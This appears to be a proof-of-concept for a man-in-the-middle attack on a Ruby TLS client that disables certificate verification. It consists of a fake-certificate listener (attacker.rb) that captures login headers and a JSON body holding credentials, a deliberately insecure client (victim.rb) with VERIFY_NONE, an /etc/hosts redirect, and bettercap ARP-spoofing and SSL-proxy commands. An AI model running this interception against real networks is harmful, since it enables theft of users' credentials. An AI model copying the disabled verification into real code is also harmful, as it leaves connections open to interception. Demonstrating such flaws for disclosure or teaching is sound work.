file attacker.rb

```
require 'socket'
require 'openssl'
# Create a fake certificate
key = OpenSSL::PKey::RSA.new(2048)
cert = OpenSSL::X509::Certificate.new
cert.subject = cert.issuer = OpenSSL::X509::Name.parse("/CN=api.secure-bank.com")
cert.not_before = Time.now
cert.not_after = Time.now + 3600
cert.public_key = key.public_key
cert.sign(key, OpenSSL::Digest::SHA256.new)
server = TCPServer.new(4444)
ssl_context = OpenSSL::SSL::SSLContext.new
ssl_context.cert = cert
ssl_context.key = key
ssl_server = OpenSSL::SSL::SSLServer.new(server, ssl_context)
puts "--- ATTACKER TERMINAL ---"
puts "Listening on port 4444... Waiting for victim..."
loop do
  begin
    connection = ssl_server.accept
    puts "\n[!] VICTIM CONNECTED!"
    while line = connection.gets
      puts "Captured Header: #{line}"
      break if line.chomp.empty?
    end
    body = connection.readpartial(1000)
    puts "Captured JSON Body: #{body}"
    connection.close
  rescue => e
    puts "Error: #{e.message}"
  end
end
```

File victim.rb

```
require 'socket'
require 'openssl'
ctx = OpenSSL::SSL::SSLContext.new
ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE # This is the bug!
ctx.verify_hostname = false                 # This is the bug!
puts "--- VICTIM TERMINAL ---"
puts "Connecting to Attacker (Simulating api.secure-bank.com)..."
begin
  tcp_sock = TCPSocket.new('127.0.0.1', 4444)
  ssl_sock = OpenSSL::SSL::SSLSocket.new(tcp_sock, ctx)
  ssl_sock.connect
  request = "POST /login HTTP/1.1\r\n" \
            "Host: api.secure-bank.com\r\n" \
```

```
          "Content-Length: 48\r\n\r\n" \
          '{"user": "victim", "pass": "BountyHunter2026"}'
  ssl_sock.puts(request)
  puts "Data sent successfully."
  ssl_sock.close
rescue => e
  puts "Connection failed: #{e.message}"
end
```

Locally change layer 2 parameters

```
echo "1.2.3.4  api.secure-bank.com" >> /etc/hosts
```

Mitmproxy/mitmweb for local interception

Bettercap for arp spoofing

Attacker IP: 192.168.1.10

Victim IP: 192.168.1.20 (The machine running your Ruby script)

Gateway (Router) IP: 192.168.1.1

```
# Start bettercap on the network interface
bettercap -iface eth0
# 1. Look for targets on the network
net.probe on
# 2. Tell the Victim (.20) that I (1.10) am the Router (1.1)
# 3. Tell the Router (1.1) that I (1.10) am the Victim (1.20)
set arp.spoof.targets 192.168.1.20
arp.spoof on
# 4. Start the transparent SSL proxy to catch the Ruby traffic
set https.proxy.sslverify false
https.proxy on
```